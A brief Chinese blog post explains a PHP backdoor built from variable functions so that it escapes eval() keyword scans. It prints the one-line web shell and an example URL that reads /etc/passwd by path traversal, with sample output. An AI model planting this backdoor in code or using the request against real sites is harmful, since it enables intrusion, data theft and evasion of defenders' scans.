2016/05/22

不需要 PHP eval() 即可執行使用者自訂動作的寫法

以往 PHP 後門都用很簡單的語法去撰寫,例如:
echo eval($_GET['action']);

不過由於 eval() 這個寫法實在是太常見了,若是站方手動做掃描實在很容易被發現。之前看到一個新的寫法,利用 PHP variable functions 的語法來製作後門:
echo $_GET['a']($_GET['b']);

惡意人士可以在網址上使用參數來取得需要的資訊:
http://my.target.site/backdoor.php?a=file_get_contents&b=../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin .....

上面這語法沒有使用到 PHP 內建的任何函式,在加上 GET 參數的名稱可以任意設定,用關鍵字搜尋的方法是很難抓出來的。

只能說想到這種寫法的人實在很有創意 XD

沒有留言:

張貼留言